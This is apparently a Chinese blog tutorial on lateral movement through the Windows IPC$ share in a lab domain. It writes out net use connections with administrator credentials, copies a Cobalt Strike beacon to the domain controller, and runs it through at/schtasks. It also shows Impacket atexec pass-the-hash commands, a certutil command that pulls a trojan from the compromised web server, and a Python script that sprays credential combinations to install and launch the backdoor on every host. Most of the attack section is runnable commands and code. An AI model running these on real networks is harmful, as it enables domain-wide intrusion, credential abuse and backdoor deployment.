内网安全:IPC协议横向移动

目录

网络拓扑图

网络环境说明

IPC协议

域渗透实战

域内信息收集:域控主机&&用户&&凭据&&网络

[IPC协议横向移动 - 执行命令](#IPC协议横向移动 - 执行命令)

[一. 建立IPC连接](#一. 建立IPC连接)

[二. 拷贝执行文件到目标机器](#二. 拷贝执行文件到目标机器)

[三. 添加计划任务](#三. 添加计划任务)

[IPC协议横向移动 - CS插件](#IPC协议横向移动 - CS插件)

[IPC协议横向移动 - Impacket(常用)](#IPC协议横向移动 - Impacket(常用))

EXE版本测试

[Py版本测试 - 代理技术](#Py版本测试 - 代理技术)

获取DC账户密码


今天开始内网横向移动的学习,基于IPC协议的横向移动。

网络拓扑图

IPC横向移动的实验环境如下

网络环境说明

攻击机:

LInux IP:47.94.236.117

内网环境:单域环境

Webserver:内网主机的网络出口,已拿到权限,通过它进行内网横向移动

IP:192.168.46.146 192.168.3.31

DC:域控 IP:192.168.3.21

Jack-PC: IP:192.168.3.29

Mary-PC: IP:192.168.3.25

SQLServer:IP:192.168.3.32

FileServer: IP:192.168.3.30

IPC协议

**IPC(Inter-Process Communication)协议是指用于不同进程之间进行通信和数据交换的协议。**在操作系统中,进程是指正在运行的程序的实例。进程可以是同一应用程序的不同实例,也可以是不同应用程序之间的独立实例。进程之间的通信是实现多任务、协作和数据交换的关键。

**IPC协议提供了一套规范和机制,使不同进程能够安全、可靠地进行通信。它允许进程之间共享数据、传递消息、进行同步操作等。**常见的IPC协议包括以下几种:

  1. 管道(Pipe):管道是一种半双工的通信机制,可用于在父子进程或者兄弟进程之间进行通信。在Unix和Linux系统中,管道可以通过创建一个管道文件描述符来实现进程间通信。

  2. 命名管道(Named Pipe):**命名管道是一种有名的管道,它允许无亲缘关系的进程进行通信。**命名管道在文件系统中有一个唯一的名字,进程可以通过该名字打开和使用管道进行通信。

  3. 消息队列(Message Queue):**消息队列是一种按照消息进行通信的机制。进程可以将消息发送到消息队列中,其他进程可以从队列中接收和处理消息。**消息队列通常具有先进先出的特性,并提供了一种异步通信的方式。

  4. 共享内存(Shared Memory):共享内存允许不同进程访问同一块内存区域,从而实现高效的数据共享。多个进程可以将共享内存映射到各自的地址空间中,以便直接读写共享数据,避免了数据复制和传输的开销。

  5. 套接字(Socket):**套接字是一种网络编程中常用的IPC机制,它允许不同主机上的进程进行网络通信。**套接字提供了一种可靠的、面向连接的通信方式,可以通过TCP或UDP协议在网络中传输数据。

  6. 信号量(Semaphore):信号量是一种用于同步进程的机制,它可以用来保护共享资源,控制进程的访问顺序,以及实现进程间的互斥和同步操作。

以上只是一些常见的IPC协议,实际上还有其他更多的IPC机制和协议,每种协议都有其适用的场景和特点。选择适当的IPC协议取决于具体的应用需求和操作系统支持。

IPC是专用管道,可以实现对远程计算机的访问,

需要使用目标系统用户的账号密码,使用139、445端口。

  1. 建立IPC链接到目标主机

  2. 拷贝要执行的命令脚本到目标主机

  3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本

  4. 删除IPC链接

常用ipc命令总结

net use \\192.168.3.32\ipc$ "Admin12345" /user:god.org\administrator #新建连接

net use #查看与本机的所有连接

net use \\192.168.3.32 /del #删除该连接

net use \\server\ipc$ "password" /user:username # 工作组

net use \\server\ipc$ "password" /user:domain\username #域内

dir \\xx.xx.xx.xx\C$\ # 查看文件列表

copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件

copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件

net use \\xx.xx.xx.xx\C$\1.bat /del # 删除IPC

net view xx.xx.xx.xx # 查看对方共享

域渗透实战

接下将会一步一步拿下整个内网!

域内信息收集:域控主机&&用户&&凭据&&网络

随便一条命令即可验证,shell调用对方主机的cmd命令

复制代码
shell net time /domain

并且还得到了一个域控的信息。ping一下

获得域控主机地址:

域内用户信息,插件或者命令

复制代码
shell net user /domain

域内用户信息

获取网络信息,这个需要权限,需要提权,使用高权限的会话进行网络信息收集

通过端口扫描探测网络环境

在CS上上线的是192.168.46.*网段,说明192.168.3.*网段是内网网段

因为我们主要是探测网络主机情况,不需要扫太多端口吗,扫一些常见端口即可

扫描结果:

还有一种情况,倘若当前主机的用户不是域用户怎么办?可以在CS中切换用户上线,需要高权限

别的主机登录过这台主机,会进行密码验证,并记录在内存中,需要高权限才能读取,可以通过这个收集到一个密码集,尝试类似弱口令的攻击。比如域控通过密码登录过这台主机,抓取到域控的密码或者hash,往往域控用户的很多个密码都是同一个,可以尝试弱口令。

在内网渗透的很多横向移动攻击手法中,往往需要传递这些凭据来实现攻击

抓取明文密码:

抓取Hash:

建立IPC连接失败的常见原因:

  1. 对方没打开IPC共享
  2. 对方未开启139,445端口
  3. 账号密码不对

IPC协议横向移动 - 执行命令

前面已经收集到了一些Hash,明文密码,借助IPC进行横向移动

建立IPC连接:需要账号密码,前面已经获取了域内用户账号和抓取了密码

一. 建立IPC连接

复制代码
shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator 

注意:这里只是现有演示横向移动的手法,Admin123456如何获取等会再解释

这里是通过Webserver(192.168.3.31,已拿下)去横向移动到DC(192.168.3.21)

这就建立好了双方主机的IPC连接

建立IPC连接失败常见错误代码:

(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限

(2)51:网络问题,Windows 无法找到网络路径

(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题

(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$

(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPCKaTeX parse error: Expected 'EOF', got '#' at position 93: ...账号策略,强制定期更改密码 #̲建立IPC失败的原因 (1)目...共享

(3)对方未开启139、445端口,或者被防火墙屏蔽

(4)输出命令、账号密码有错误

二. 拷贝执行文件到目标机器

之后上传后门到DC(192.168.3.21)

首先需要说明后门生成的问题:

正向连接方式:生成后门,令192.168.3.21绑定本地端口,通过Websever(192.168.3.31)去主动访问

beacon_bind_tcp->beacon.exe

connect 192.168.3.21 2222

反向连接方式:后门的IP应该是Webserver的192.168.3.31这个IP,因为要和DC铜鼓县你,所以需要使用这个IP,才能建立起反向连接

代理转发->转发上线->beacon.exe

其次说明后门上传的问题:

我们是通过Webserver(192.168.3.31)横向移动的,IPC建立的连接也是Webserer与DC的

所以需要先把后门上传至Webserver再拷贝到DC上。

这里仅实验正向连接

在CS中执行命令,使用控制Webserver的高权限会话执行命令,复制文件到C盘

复制代码
shell copy 4444.exe \\192.168.3.21\c$

三. 添加计划任务

在添加计划任务时,根据操作系统的版本不同,使用的命令也有不同

at < Windows2012 (该版本之前的操作系统使用at命令)

添加计划任务,定时执行

样例:shell at \\192.168.3.21 12:16 c:\bindtcp-2222.exe

定时任务生效后连接:connect 192.168.3.21 #等到定时任务生效后执行,正向连接上线
schtasks >=Windows2012(适用于windows2012后的操作系统版本)

创建任务对应执行文件neacon

样例:schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\bindtcp-2222.exe /F

运行beacon任务

schtasks /U administrator /P Admin12345 /run /s 192.168.3.32 /tn beacon /i

删除beacon任务:

schtasks /delete /s 192.168.3.21 /tn beacon /F

通过IPC建立的连接上传后门后,再通过这个给这台主机添加定时任务

之后就会执行上线

IPC协议横向移动 - CS插件

LSTAR插件,使用倒数第二个

也可以通过这个插件做横向移动

IPC协议横向移动 - Impacket(常用)

这是一个专门做横向移动的套件,包含多种横向移动方式

该工具是一个半交互的工具,适用于Webshell下,Socks代理下;

在渗透利用中可以收集用户名、明文密码、密码hash、远程主机等做成字典,批量测试

1、Py版:https://github.com/SecureAuthCorp/impacket

2、Exe版:https://gitee.com/RichChigga/impacket-examples-windows

EXE版本测试

上传文件到Webserver再执行命令,

支持明文,密文Hash连接

CS本地用户明文连接,./针对本地用户连接

shell atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"

CS域内用户明文连接,god/针对域内用户连接

shell atexec.exe god/administrator:Admin12345@192.168.3.21 "ver"

这款工具还支持Hash连接

shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

把木马下载到Webserver这个目录上,放到了Web服务上

命令执行改为下载Webserver上木马命令

复制代码
shell atexec.exe god/administrator:Admin12345@192.168.3.21 "certutil.exe -urlcache -split -f http://192.168.3.31:80/2222.exe zx.exe"

CS执行命令

复制代码
shell atexec.exe god/administrator:Admin12345@192.168.3.21 "zx.exe"
connect 192.168.3.21 2222

上线

缺点:需要上传的文件太大了,动静很大

Py版本测试 - 代理技术

为了解决主机上没有Python的问题,建议使用代理技术把攻击机带进内网进行测试

使用Proxifier进行代理

配置代理,任意进程走3网段的都走代理

访问到内网

接下来就可以本地直接测试Py,需要安装impacket库

复制代码
python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

关于为什么都是system权限上线解释:

域控制器上的域管理员账户(Domain Administrator)具有最高权限,可以管理域中的所有用户账户和计算机。域管理员账户默认具有登录所有域成员主机的权限,这意味着域管理员可以使用其凭据登录到域中的任何计算机。所以在实验中获得的才是system权限。

在实际测试中,是不知道的,而且我们在信息收集时针对Webserver内存密码读取也没读到。

那么如何获得DC的账户呢?

通过Webserver抓到了不少的凭证,通过IPC横向移动,使用本地用户./administrator和GOD/administrastor和账号密码组合测试,如果拿下来主机,就可以在抓取这台主机的内存里的凭证重复上面测试不断丰富凭证,知道横向到DC的密码。

获取DC账户密码

在一开始信息收集时,获得一部分明文密码

通过这个密码横向移动其它的设备

分别测试本机用户和域用户

测试域用户失败,估计权限不够,测试本地用户成功

192.168.3.29上线,还是system权限,说明那个密码时电脑本地管理员的账号密码

抓取新上线主机的哈希,明文

这条信息抓到的是DC账户的哈希,如果不知道的话,也可以每一条hash都试试横向移动也可以

可以利用这条哈希进行横向移动

上线

再去抓域控的凭证,得到DC账户的明文密码

之后写个脚本,用这个明文密码跑一跑,整个网络就通了

复制代码
import os,time
ips={
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.29',
    '192.168.3.30',
    '192.168.3.32'
}
users={
    'Administrator',
    'boss',
    'dbadmin',
    'fileadmin',
    'itadmin',
    'jack',
    'mary',
    'vpnadm',
    'webadmin'
}
passs={
    'admin!@#45'
    'Admin12345'
}

def xz():#下载后门
    for ip in ips:
        for user in users:
            for mima in passs:
                exec1='python3 .\\atexec.py ./administrator:'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/beacon.exe"'
                exec2='python3 .\\atexec.py god/'+user+':'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/beacon.exe"'
                #exec3='atexec.exe ./administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'   #这里是使用可执行程序 效果与py脚本一样
                print('--->'+exec1+'<---')
                print('--->' + exec2 + '<---')
                os.system(exec1)
                os.system(exec2)

def zx():#执行后门
    for ip in ips:
        for user in users:
            for mima in passs:
                #exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
                exec1 = 'python3 .\\atexec.py  ./administrator:' + mima + '@' + ip + ' "c:/beacon.exe"'
                exec2 = 'python3 .\\atexec.py god/' + user + ':' + mima + '@' + ip + ' "c:/beacon.exe"'
                #exec3='atexec.exe ./administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'
                print('--->' + exec1 + '<---')
                print('--->' + exec2 + '<---')
                os.system(exec1)
                os.system(exec2)

if __name__ == '__main__':
    xz()
    zx()

整个内网就都会上线CS了

相关推荐
用户962377954485 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主6 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954488 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机8 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机8 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954488 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star8 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954488 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher10 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行13 天前
网络安全总结
安全·web安全